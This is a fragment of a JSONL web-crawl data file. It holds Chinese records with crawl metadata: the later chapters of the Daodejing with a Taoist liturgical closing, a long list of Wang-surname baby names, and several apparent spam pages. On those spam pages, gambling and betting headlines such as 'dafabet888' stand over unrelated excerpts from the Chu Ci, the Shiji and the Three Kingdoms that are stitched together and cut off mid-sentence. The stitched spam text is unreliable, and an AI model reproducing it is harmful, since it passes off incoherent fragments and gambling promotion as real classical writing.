令人耳聾.五味令人口爽.馳騁田獵.令人心發狂.難得之貨.令人行妨.是以聖人為腹不為目.故去彼取此.\n寵辱章第十三\n寵辱若驚.貴大患若身.何謂寵辱若驚.寵為上.辱為下.得之若驚.失之若驚.是謂寵辱若驚.何謂貴大患若身.吾所以有大患者.為吾有身.及吾無身.吾有何患.故貴以身為天下者.可以寄天下.愛以身為天下者.可以託天下.\n道紀章第十四\n視之不見.名曰夷.聽之不聞.名曰希.搏之不得.名曰微.此三者.不可致詰.故混而為一.其上不皦.其下不昧.繩繩兮不可名.復歸於無物.是謂無狀之狀.無象之象.是謂恍惚.迎之不見其首.隨之不見其後.執古之道.以御今之有.能知古始.是謂道紀.\n不盈章第十五\n古之善為士者.微妙玄通.深不可識.夫唯不可識.故強為之容.豫兮若冬涉川.猶兮若畏四鄰.儼兮其若容.渙兮若冰之將釋.敦兮其若樸.曠兮其若谷.渾兮其若濁.孰能濁以止.靜之徐清.孰能安以久.動之徐生.保此道者.不欲盈.夫唯不盈.故能弊不新成.\n復命章第十六\n致虛極.守靜篤.萬物並作.吾以觀其復.夫物芸芸.各歸其根.歸根曰靜.靜曰復命.復命曰常.知常曰明.不知常.妄作凶.知常容.容乃公.公乃王.王乃天.天乃道.道乃久.沒身不殆.\n知有章第十七\n太上下知有之.其次親之譽之.其次畏之.其次侮之.故信不足.焉有不信.猶兮其貴言.功成事遂.百姓皆謂我自然.\n四有章第十八\n大道廢.有仁義.智慧出.有大偽.六親不和有孝慈.國家昏亂有忠臣.\n樸素章第十九\n絕聖棄智.民利百倍.絕仁棄義.民復孝慈.絕巧棄利.盜賊無有.此三者.以為文不足.故令有所屬.見素抱樸.少私寡欲.\n食母章第二十\n絕學無憂.唯之於阿.相去幾何.善之於惡.相去何若.人之所畏.不可不畏.荒兮其未央哉.眾人熙熙.如享太牢.如登春臺.我獨泊兮其未兆.如嬰兒之未孩.乘乘兮若無所歸.眾人皆有餘.而我獨若遺.我愚人之心也哉.純純兮.眾人昭昭.我獨若昏.眾人察察.我獨悶悶.忽兮其若海.漂兮\n若無所止.眾人皆有以.我獨頑且鄙.我獨異於人.而貴食母.\n從道章第二十一\n孔德之容.惟道是從.道之為物.惟恍惟惚.惚兮恍兮.其中有象.恍兮惚兮.其中有物.杳兮冥兮.其中有精.其精甚真.其中有信.自古及今.其名不去.以閱眾甫.吾何以知眾甫之然哉.以此.\n抱一章第二十二\n曲則全.枉則直.窪則盈.弊則新.少則得.多則惑.是以聖人抱一為天下式.不自見故明.不自是故彰.不自伐故有功.不自矜故長.夫惟不爭.故天下莫能與之爭.古之所謂曲則全者.豈虛言哉.誠全而歸之.\n同道章第二十三\n希言自然.飄風不終朝.驟雨不終日.孰為此者天地.天地尚不能久.而況於人乎.故從事於道者.道者同於道.德者同於德.失者同於失.同於道者.道亦樂得之.同於德者.德亦樂得之.同於失者.失亦樂得之.信不足焉.有不信焉.\n不處章第二十四\n跂者不立.跨者不行.自見者不明.自是者不彰.自伐者無功.自矜者不長.其於道也.曰餘食贅行.物或惡之.故有道者不處.\n混成章第二十五\n有物混成.先天地生.寂兮寥兮.獨立而不改.周行而不殆.可以為天下母.吾不知其名字之曰道.強為之名曰大.大曰逝.逝曰遠.遠曰返.故道大.天大.地大.王亦大.域中有四大.而王居其一焉.人法地.地法天.天法道.道法自然.\n輜重章第二十六\n重為輕根.靜為躁君.是以君子終日行.不離輜重.雖有榮觀.燕處超然.\n奈何萬乘之主.而以身輕天下.輕則失臣.躁則失君.\n襲明章第二十七\n善行無轍迹.善言無瑕謫.善計不用籌策.善閉無關鍵而不可開.善結無繩約而不可解.是以聖人常善救人.故無棄人.常善救物.故無棄物.是謂襲明.故善人者不善人之師.不善人者.善人之資.不貴其師.不愛其資.雖智大迷.是謂要妙.\n常德章第二十八\n知其雄.守其雌.為天下谿.為天下谿.常德不離.復歸於嬰兒.知其白.守其黑.為 天下式.為天下式.常德不忒.復歸於無極.知其榮.守其辱.為天下谷.為天下谷.常德乃足.復歸於樸.樸散則為器.聖人用之.則為官長.故大制不割.\n自然章第二十九\n將欲取天下而為之.吾見其不得已.天下神器.不可為也.為者敗之.執者失之.故物或行或隨.或呴或吹.或強或羸.或載或隳.是以聖人去甚.去奢.去泰.\n不道章第三十\n以道佐人主者.不以兵強天下.其事好還.師之所處.荊棘生焉.大兵之後.必有凶年.故善者果而已.不敢以取強.果而勿矜.果而勿伐.果而勿驕.果而不得已.是果而勿強.物壯則老.是謂不道.不道早已.\n貴左章第三十一\n夫佳兵者.不祥之器.物或惡之.故有道者不處.君子居則貴左.用兵則貴右.兵者不祥之器.非君子之器.不得已而用之.恬淡為上.勝而不美.而美之者.是樂殺人.夫樂殺人者.不可得志於天下.吉事尚左.凶事尚右.偏將軍\n處左.上將軍處右.言以喪禮處之.殺人眾多.以悲哀泣之.戰勝則以喪禮處之.\n知止章第三十二\n道常無名樸雖小.天下不敢臣.侯王若能守.萬物將自賓.天地相合.以降甘露.人莫之令而自均.始制有名.名亦既有.夫亦將知止.知止所以不殆.譬道之在天下.猶川谷之於江海.\n盡己章第三十三\n知人者智.自知者明.勝人者有力.自勝者強.知足者富.強行者有志.不失其所者久.死而不亡者壽.\n成大章第三十四\n大道汎兮.其可左右.萬物恃之以生而不辭.功成不名有.愛養萬物而不為主.常無欲.可名於小.萬物歸之.而不為主.可名於大.是以聖人.終不為大.故能成其大.\n大象章第三十五\n執大象.天下往.往而不害.安平泰.樂與餌.過客止.道之出口.淡乎其無味.視之不足見.聽之不足聞.用之不可既.\n微明章第三十六\n將欲歙之.必固張之.將欲弱之.必固強之.將欲廢之.必固興之.將欲奪之.必固與之.是謂微明.柔勝剛.弱勝強.魚不可脫於淵.國之利器.不可以示人.\n無為章第三十七\n道常無為.而無不為.侯王若能守.萬物將自化.化而欲作.吾將鎮之以無名之樸.無名之樸.亦將不欲.不欲以靜.天下將自正.\n處厚章第三十八\n上德不德.是以有德.下德不失德.是以無德.上德無為而無以為.下德為之而有以為.上仁為之而無以為.上義為之而有以為.上禮為之而莫之應.則攘臂而仍之.故失道而後德.失德而後仁.失仁而後義.失義而後禮.夫禮者.忠信之薄.而亂之首也.前識者.道之華.而愚之始也.是以大丈夫處其厚.不處其薄.居其實.不居其華.故去彼取此.\n得一章第三十九\n昔之得一者.天得一以清.地得一以寧.神得一以靈.谷得一以盈.萬物得一以生.侯王得一以為天下貞.其致之一也.天無以清.將恐裂.地無以寧.將恐發.神無以靈.將恐歇.谷無以盈.將恐竭.萬物無以生.將恐滅.侯王無以貞.而貴高將恐蹶.故貴以賤為本.高以下為基.是以侯王自稱孤寡不穀.此其以賤為本耶.非乎.故致數輿無輿.不\n欲碌碌如玉.落落如石.\n反覆章第四十\n反者道之動.弱者道之用.天下萬物生於有.有生於無.\n聞道章第四十一\n上士聞道.勤而行之.中士聞道若存若亡.下士聞道.大笑之.不笑不足以為道.故建言有之.明道若昧.進道若退.夷道若類.上德若谷.大白若辱.廣德若不足.建德若偷.質真若渝.大方無隅.大器晚成.大音希聲.大象無形.道隱無名.夫惟道.善貸且成.\n冲和章第四十二\n道生一.一生二.二生三.三生萬物.萬物負陰而抱陽.冲氣以為和.人之所惡.惟 孤寡不穀.而王公以為稱.故物或損之而益.或益之而損.人之所教.我亦教之.強梁者.不得其死.吾將以為教父.\n至柔章第四十三\n天下之至柔.馳騁天下之至堅.無有入於無間.吾是以知無為之有益.不言之教.無為之益.天下希及之.\n知止章第四十四\n名與身孰親.身與貨孰多.得與亡孰病.是故甚愛必大費.多藏必厚亡.知足不辱.知止不殆.可以長久.\n清靜章第四十五\n大成若缺.其用不弊.大盈若冲.其用不窮.大直若屈.大巧若拙.大辯若訥.躁勝寒.靜勝熱.清靜為天下正.\n知足章第四十六\n天下有道.却走馬以糞.天下無道.戎馬生於郊.罪莫大於可欲.禍莫大於不知足.咎莫大於欲得.故知足之足常足矣.\n天道章第四十七\n不出戶.知天下.不窺牖.見天道.其出彌遠.其知彌少.是以聖人.不行而知.不見而名.不為而成.\n日損章第四十八\n為學日益.為道日損.損之又損.以至於無為.無為而無不為.故取天下者..常以無事.及其有事.不足以取天下.\n德善章第四十九\n聖人無常心.以百姓心為心.善者吾善之.不善者.吾亦善之.德善矣.信者.吾信之.不信者.吾亦信之.德信矣.聖人之在天下.怵怵焉.為天下渾其心.百姓皆注其耳目.聖人皆孩之.\n生死章第五十\n出生入死.生之徒十有三.死之徒十有三.人之生.動之死地者.亦十有三.夫何故.以其生生之厚.蓋聞善攝生者.陸行不遇兕虎.入軍不被甲兵.兕無所投其角.虎無所措其爪.兵無所容其刃.夫何故.以其無死地.\n尊貴章第五十一\n道生之.德蓄之.物形之.勢成之.是以萬物.莫不尊道而貴德.道之尊.德之貴.夫莫之命.而常自然.故道生之.德蓄之.長之育之.成之熟之.養之覆之.生而不有.為而不恃.長而不宰.是謂玄德.\n守母章第五十二\n天下有始.以為天下母.既得其母.以知其子.既知其子.復守其母.歿身不殆.塞其兌.閉其門.終身不勤.開其兌.濟其事.終身不救.見小曰明.守柔曰強.用其光.復歸其明.無遺身殃.是謂習常.\n大道章第五十三\n使我介然有知.行於大道.惟施是畏.大道甚夷.而民好徑朝甚除.田甚蕪.倉甚虛.服文采.帶利劍.厭飲食.貨財有餘.是謂盜誇.非道也哉.\n善建章第五十四\n善見者不拔.善抱者不脫.子孫祭祀不輟.修之於身.其德乃真.修之於家.其德乃餘.修之於鄉.其德乃長.修之於國.其德乃豐.修之於天下.其德乃普.故以身觀身.以家觀家.以鄉觀鄉.以國觀國.以天下觀天下.吾何以知天下之然哉.以此.\n含德章第五十五\n含德之厚.比於赤子.毒蟲不螫.猛獸不據.攫鳥不搏.骨弱筋柔而握固.未知牝牡之合而朘作.精之至也.終日號嗌而不嗄.和之至也.知和曰常.知常曰明.益生曰祥.心使氣曰強.物壯則老.是謂不道.不道早已.\n道貴章第五十六\n知者不言.言者不知.塞其兌.閉其門.挫其銳.解其紛.和其光.同其塵.是謂玄同.故不可得而親.亦不可得而疏.不可得而利.亦不可得而害.不可得而貴.亦不可得而賤.故為天下貴.\n治國章第五十七\n以正治國.以奇用兵.以無事取天下.吾何以知其然哉.以此.天下多忌諱.而民彌貧.人多利器.國家滋昏.人多伎巧.奇物滋起.法令滋彰.盜賊多有.故聖人云.我無為而民自化.我無事而民自富.我好靜而民自正.我無欲而民自樸.我無情而民自清.\n察政章第五十八\n其政悶悶.其民淳淳.其政察察.其民缺缺.禍兮福所倚.福兮禍所伏.孰知其極.其無正耶.正復為奇.善復為妖.人之迷也.其日固久矣.是以聖人.方而不割.廉而不劌.直而不肆.光而不耀.\n長生章第五十九\n治人事天.莫若嗇.夫惟嗇.是謂早服.早服謂之重積德.重積德則無不克.無不克.則莫知其極.莫知其極.可以有國.有國之母.可以長久.是謂深根固蒂.長生久視之道.\n治大國章第六十\n治大國若烹小鮮.以道蒞天下.其鬼不神.非其鬼不神.其神不傷民.非其神不傷民.聖人亦不傷民.夫惟兩不相傷.故德交歸焉.\n為下章第六十一\n大國者下流.天下之交.天下之牝.牝常以靜勝牡.以靜為下.故大國以下小國.則取小國.小國以下大國.則取大國.故或下以取.或下而取.大國不過欲兼蓄人.小國不過欲入事人.夫兩者各得其所欲.故大者宜為下.\n道奧章第六十二\n道者萬物之奧.善人之寶.不善人之所保.美言可以市.尊行可以加人.人之不善.何棄之有.故立天子.置三公.雖有拱璧以先駟馬.不如坐進此道.古之所以貴此道者.何不日求以得.有罪以免耶.故為天下貴.\n無難章第六十三\n為無為.事無事.味無味.大小多少.報怨以德.圖難於其易.為大於其細.天下難事.必作於易.天下大事.必作於細.是以聖人終不為其大.故能成其大.夫輕諾.必寡信.多易必多難.是以聖人猶難之.故終無難.\n輔物章第六十四\n其安易持.其未兆易謀.其脆易破.其微易散.為之于未有.治之於未亂.合抱之木.生於毫末.九層之臺.起於累土.千里之行.始於足下.為者敗之.執者失之.是以聖人無為.故無敗.無執.故無失.民之從事.常于幾成而敗之.慎終如始.則無敗事.是以聖人欲不欲.不貴難得之貨.學不學.復眾人之所過.以輔萬物之自然.而不敢為.\n玄德章第六十五\n古之善為道者.非以明民.將以愚之.民之難治.以其智多.故以智治國.國之賊.不以智治國.國之福.知此兩者.亦楷式.能知楷式.是謂玄德.玄德深矣遠矣.與物反矣.然後乃至于大順.\n江海章第六十六\n江海所以能為百谷王者.以其善下之.故能為百谷王.是以聖人欲上民.必以言下之.欲先民必以身後之.是以聖人.處上而民不重.處前而民不害.是以天下樂推而不厭.以其不爭.故天下莫能與之爭.\n三寶章第六十七\n天下皆謂我道大.似不肖.夫惟大.故似不肖.若肖久矣.其細也夫.我有三寶.持而保之.一曰慈.二曰儉.三曰不敢為天下先.慈故能勇.儉故能廣.不敢為天下先.故能成器長.今捨慈且勇.捨儉且廣.捨後且先死矣.夫慈以戰則勝.以守則固.天將救之.以慈衛之.\n不爭章第六十八\n善為士者不武.善戰者不怒.善勝敵者不爭.善用人者為之下.是謂不爭之德.是謂用人之力.是謂配天.古之極.\n用兵章第六十九\n用兵有言.吾不敢為主而為客.不敢進寸而退尺.是謂行無行.攘無臂.仍無敵.執無兵.禍莫大於輕敵.輕敵則幾喪吾寶.故抗兵相加.哀者勝矣.\n懷玉章第七十\n吾言甚易知.甚易行.天下莫能知.莫能行.言有宗.事有君.夫惟無知.是以不我知.知我者希.則我貴矣.是以聖人被褐懷玉.\n不病章第七十一\n知不知上.不知知病.夫惟病病.是以不病.聖人不病.以其病病.是以不病.\n畏威章第七十二\n民不畏威.則大威至矣.無狹其所居.無厭其所生.夫唯不厭.是以不厭.是以聖人自知不自見.自愛不自貴.故去彼取此.\n天網章第七十三\n勇於敢則殺.勇於不敢則活.此兩者.或利或害.天下所惡.孰知其故.是以聖人猶難之.天之道.不爭而善勝.不言而自應.不召而自來.繟然而善謀.天網恢恢.踈而不漏.\n司殺章第七十四\n民常不畏死.奈何以死懼之.若使民常畏死.而為奇者.吾得執而殺之.孰敢.常有司殺者殺.夫代司殺者.是謂代大匠斵.夫代大匠斵者.希有不傷其手矣.\n貴生章第七十五\n民之飢.以其上食稅之多.是以飢.民之難治.以其上之有為.是以難治.民之輕死.以其求生之厚.是以輕死.夫唯無以生為者.是賢於貴生.\n柔弱章第七十六\n人之生也柔弱.其死也堅強.萬物草木之生也柔脆.其死也枯槁.故堅強者死之徒.柔弱者生之徒.是以兵強則不勝.木強則共.堅強居下.柔弱居上.\n天道章第七十七\n天之道.其猶張弓乎.高者抑之.下者舉之.有餘者損之.不足者與之.天之道.損有餘而補不足.人之道則不然.損不足以奉有餘.孰能以有餘奉天下.唯有道者.是以聖人為而不恃.功成而不處.不欲見賢.\n水德章第七十八\n天下柔弱.莫過於水.而攻堅強者.莫之能勝.其無以易之.故柔勝剛.弱勝強.天下莫不知.天下莫能行.故聖人云.受國之垢.是謂社稷主.受國不祥.是謂天下王.正言若反.\n左契章第七十九\n和大怨.必有餘怨.安可以為善.是以聖人執左契.而不責於人.故有德司契.無德司徹.天道無親.常與善人.\n不徙章第八十\n小國寡民.使有什伯之器.而不用.使民重死.而不遠徙.雖有舟車.無所乘之.雖有甲兵.無所陳之.使民復結繩而用之.甘其食.美其服.安其居.樂其俗.鄰國相望.雞犬之音相聞.民至老死.不相往來.\n不積章第八十一\n信言不美.美言不信.善者不辯.辯者不善.知者不博.博者不知.聖人不積.既以為人己愈有.既以與人己愈多.天之道.利而不害.聖人之道.為而不爭.\n志心皈命禮\n太清仙境.大赤天宮.巍巍金闕之高.渺渺重霄之上.降生於無量數劫.說法於萬二千天.五千秘言融三才之妙道.八十餘度接六趣之眾生.聖德崇高.玄功廣博.大悲大願.大聖大 慈\n無量度人 降生天尊三稱\n太上道德經終\n向來看宣太上道德經終\n完 經 讚\n三清演教 仙宗垂科 天仙法派降吉祥 多位在中和 道侶觀磨\n修煉永無魔\n皈命 大聖回光普照大天尊三稱\n三 稽 首\n稽首稽首皈依道 道在玉京山\n玉京山說法說法利人天\n皈命 元始大天尊\n稽首稽首皈依經 經寶顯靈文\n靈文書鳳篆鳳篆廣宣揚\n皈命 靈寶大天尊\n稽首稽首皈依師 師身如水清\n水清秋月現月現法無邊\n皈命 道德大天尊\n信禮 福生無量大天尊\n謝謝光臨本站,晨昏課誦,閤家安康,災消罪滅,延生賜福.\n再度仰仗您的道光普照世人\n丙戌年庚子月冬至佳節","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/taoismweb.myweb.hinet.net\/b10\/ethic%20scripture.htm","date":"2018-12-15T15:41:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826892.78\/warc\/CC-MAIN-20181215152912-20181215174912-00124.warc.gz","language":"lzh","language_score":0.4930756688,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4930756688117981, \"cmn_Hani_score\": 0.32312002778053284, \"nan_Hani_score\": 0.07678179442882538, \"jpn_Jpan_score\": 0.050769757479429245, \"wuu_Hani_score\": 0.02038797363638878, \"yue_Hani_score\": 0.01872577704489231}","num_words":253,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.004,"flagged_words_ratio":0.0,"lang_id_score":0.49,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【2019-07-06】\n可选中1个或多个下面的关键词,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n最後还是自己选,选时要三思啊rn王均垣 王珑达 王子豪 王嵩凯 王翊轩 王熙博 王玺瑞 王禹然 王酌铭 王霞 王俊豪 王相福 王福林rn王逻隐 王雅丽 王均来 王闯 王君浩 王宇翔 王浩然 王红伟 王晗昱 王海兴 王闵驿 王敏 王佳宜 王菁睿rn王超时 王赵菁 王振华 王希睿 王菁蓉 王熠翚 王胤敦 王柘哲 王子隽 王属鸣 王椭驿 王泓轸 王枥镐rn王叙舻 王招骅 王谱沣 王轿蕲 王芋哲 王建彬 王志强 王君雅 王梓旭 王晨旭 王子俨 王子诺 王权彬rn王彬权 王梓俨 王子旭 王飞 王子成 王燕萍 王睿明 王海琪 王梦琪 王子恒 王睿昕 王朝栋 王昭栋rn王昭丁 王朝玄 王昭富 王昭权 王旭明 王建飞 王煜鑫 王博雅 王曦雅 王紫曦 王若曦 王伟锟 王梓骁rn王骏臣 王梓晟 王梓逍 王梓昊 王隽辰 王伊然 王贱 王梓鸣 王琰旭 王琰博 王琰皓 王琰昊 王毅涵rn王芯皓 王鑫皓 王诗皓 王灏霖 王熙霖 王圣博 王浩森 王涛 王富强 王志誉 王志荣 王清萱 王云香rn王洋 王琳玥 王云萍 王志彬 王云苹 王琳淋 王子亮 王自亮 王然鐾 王敏合 王梓喧 王英杰 王贝辰rn王艺博 王紫宸 王思潮 王鹏飞 王瑞 王瑞汐 王超 王子睿 王子赫 王雨鑫 王剑峰 王剑涛 王怀远rn王德厚 王亦奇 王泽上 王晨煊 王晨萱 王宸萱 王宸煊 王潇雅 王亚林 王首泽 王怡涵 王雨涵 王语涵rn王蕊 王成 王晨 王权 王刚 王坤 王畅 王磊 王宁 王宝 王旭 王雷震 王鸿燕 王若楠 王梦 王榕蔚 王安荷 王雅茗 王娅茗 王君天 王君好 王君少 王岩 王君北 王子宸 王俊皓 王馨敏 王伟莲 王子祺rn王光才 王星宇 王博 王榛銮 王添翊 王添熠 王添奕 王添翼 王攘士 王金全 王楚钧 王宸尧 王昕宸rn王宸飞 王宇宸 王靖晏 王永川 王志清 王枫涓 王凤捐 王凤涓 王薇竹 王筱萱 王泽安 王梓瑜 王梓儒rn王梓钦 王梓铅 王新杰 王柏然 王赠杰 王帝杰 王一天 王天翊 王璟妍 王小山 王贵圭 王金晓 王春晓rn王战杰 王景珂 王杺 王奕博 王子骏 王博瀚 王海风 王海峰 王佳陆 王瀚文 王威 王政添 王水华 王天rn王天寅 王博澳 王薄 王添 王添羿 王永博 王永澳 王方龙 王昱镔 王奕权 王奕珲 王雪飞 王小辉 王馨雅rn王洪洋 王洪阳 王聿辄 王曌伟 王文革 王开华 王清翠 王明慧 王明勇 王子初 王垚 王改娟 王吉利rn王明宇 王垫 王奎 王致远 王伟泽 王文康 王鹏涛 王旭尧 王皓轩 王志航 王葛领 王静 王思凯 王青山rn王宪彬 王悦 王宪波 王晋 王泽睿 王子梁 王书萍 王浩宇 王皓宇 王子普 王泽瑞 王海刚 王明新 王明铄rn王嘉懿 王艺霏 王猛 王彦 王帝儒 王艺霖 王宇航 王新淇 王小刚 王文博 王一旭 王一惠 王乙惠 王晓霏rn王云异 王雨庭 王洛玲 王涵 王家宇 王峻熙 王浚玮 王建兵 王叙翰 王渊 王紫林 王紫杨 王子扬 王若涵rn王紫诺 王怀旭 王欣怡 王佳洁 王成国 王海涛 王韵哲 王勖蓬 王郭浩 王豫川 王新伟 王梓涵 王子航rn王天熙 王梓航 王显龙 王苁越 王熜越 王云 王飞雁 王鸿雁 王乔珍 王跃铭 王镱祯 王哲维 王奕茗 王琰诏rn王士铭 王禄翔 王凯钦 王登科 王宁一 王帅 王旺仔 王铭旺 王元鹏 王学伟 王炎 王焱 王烨 王烁 王帅帅rn王子硕 王淇诚 王毅珲 王泊君 王菁 王佳 王佳一 王维永 王语琦 王语琪 王羽琪 王泽然 王泽岚 王雨琪","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.99yzl.com\/a\/yidongzixun\/8625.html","date":"2019-10-20T04:33:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986702077.71\/warc\/CC-MAIN-20191020024805-20191020052305-00465.warc.gz","language":"lzh","language_score":0.9780829549,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9780829548835754, \"nan_Hani_score\": 0.018820876255631447}","num_words":341,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大赢家即时比分比28分钟!乘坐京雄城际看大兴机场\n第一百十九回 假投降巧计成虚话 再受禅依样画葫芦\n第七十七回 玉泉山关公显圣 洛阳城曹操感神\n却说司马懿望武功山小路而走。忽然山坡后喊杀连天,鼓声震地。懿回顾二子曰:\"吾若不走,必中诸葛亮之计矣。\"只见大路上一军杀来,旗上大书\"右护卫使虎冀将军张苞\"。魏兵皆弃甲抛戈而走。行不到一程,山谷中喊声震地,鼓角喧天,前面一杆大旗,上书\"左护卫使龙骧将军关兴\"。山谷应声,不知蜀兵多少;更兼魏军心疑,不敢久停,只得尽弃辎重而去。兴、苞二人皆遵将令,不敢追袭,多得军器粮草而归。司马懿见山谷中皆有蜀兵,不敢出大路,遂回街亭。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞\n夫月满则亏,物盛则衰,天地之常也。知进而不知退,久乘富贵,祸积为祟。故范蠡之去越,辞不受官位,名传後世,万岁不忘,岂可及哉!後进者慎戒之。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/jgfqc.malanijeweler.com\/DVNDC08415.html","date":"2020-02-19T15:13:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144150.61\/warc\/CC-MAIN-20200219122958-20200219152958-00240.warc.gz","language":"lzh","language_score":0.4126217067,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41262170672416687, \"cmn_Hani_score\": 0.3378421366214752, \"nan_Hani_score\": 0.08205390721559525, \"zxx_Latn_score\": 0.02847559191286564, \"wuu_Hani_score\": 0.019663726910948753, \"yue_Hani_score\": 0.013091769069433212, \"jpn_Jpan_score\": 0.011810069903731346, \"und_Tang_score\": 0.011195698752999306, \"und_Cyrl_score\": 0.01097514946013689}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黄金城棋牌游戏外媒土耳其军队撤离叙利亚多处驻地并烧毁阵地\n孔子曰:\"鲁卫之政,兄弟也。\"是时,卫君辄父不得立,在外,诸侯数以为让。而孔子弟子多仕於卫,卫君欲得孔子为政。子路曰:\"卫君待子而为政,子将奚先?\"孔子曰:\"必也正名乎!\"子路曰:\"有是哉,子之迂也!何其正也?\"孔子曰:\"野哉由也!夫名不正则言不顺,言不顺则事不成,事不成则礼乐不兴,礼乐不兴则刑罚不中,刑罚不中则民无所错手足矣。夫君子为之必可名,言之必可行。君子於其言,无所苟而已矣。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之\n二十二年,王贲攻魏,引河沟灌大梁,大梁城坏,其王请降,尽取其地。\n武王竟至周,而卒於周。其弟立,为昭王。王母宣太后,楚女也。楚怀王怨前秦败楚於丹阳而韩不救,乃以兵围韩雍氏。韩使公仲侈告急於秦。秦昭王新立,太后楚人,不肯救。公仲因甘茂,茂为韩言於秦昭王曰:\"公仲方有得秦救,故敢扞楚也。今雍氏围,秦师不下殽,公仲且仰首而不朝,公叔且以国南合於楚。楚、韩为一,魏氏不敢不听,然则伐秦之形成矣。不\n西门豹引漳水溉鄴,以富魏之河内。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.zgjcwsc.com\/DCZGL08786.html","date":"2020-02-24T17:34:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145966.48\/warc\/CC-MAIN-20200224163216-20200224193216-00328.warc.gz","language":"lzh","language_score":0.5111587644,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5111587643623352, \"cmn_Hani_score\": 0.361873984336853, \"nan_Hani_score\": 0.06319134682416916, \"wuu_Hani_score\": 0.02275713160634041}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.432,"perplexity_score":500.0,"cluster_detection":1} +{"text":"dafabet888\n日者之名,有自来矣。吉凶占候,著於墨子。齐楚异法,书亡罕纪。後人斯继,季主独美。取免暴秦,此焉终否。\n臣闻明主立政,有功者不得不赏,有能者不得不官,劳大者其禄厚,功多者其爵尊,能治众者其官大。故无能者不敢当职焉,有能者亦不得蔽隐。使以臣之言为可,原行而益利其道;以臣之言为不可,久留臣无为也。语曰:\"庸主赏所爱而罚所恶;明主则不然,赏必加於有功,而刑必断於有罪。\"今臣之胸不足以当椹质,而要不足以待斧钺,岂敢以疑事尝试於王哉!虽以臣为贱人而轻辱,独不重任臣者之无反复於王邪?\n\"臣仓等昧死言:长有大死罪,陛下不忍致法,幸赦,废勿王。臣请处蜀郡严道邛邮,遣其子母从居,县为筑盖家室,皆廪食给薪菜盐豉炊食器席蓐。臣等昧死请,请布告天下。\"\n今帝即位,明和亲约束,厚遇,通关市,饶给之。匈奴自单于以下皆亲汉,往来长城下。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/skhfy.ensav.com.cn\/huawei\/HAQFE10966.html","date":"2020-07-05T03:00:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886865.30\/warc\/CC-MAIN-20200705023910-20200705053910-00290.warc.gz","language":"lzh","language_score":0.4507426322,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.45074263215065, \"cmn_Hani_score\": 0.39210766553878784, \"yue_Hani_score\": 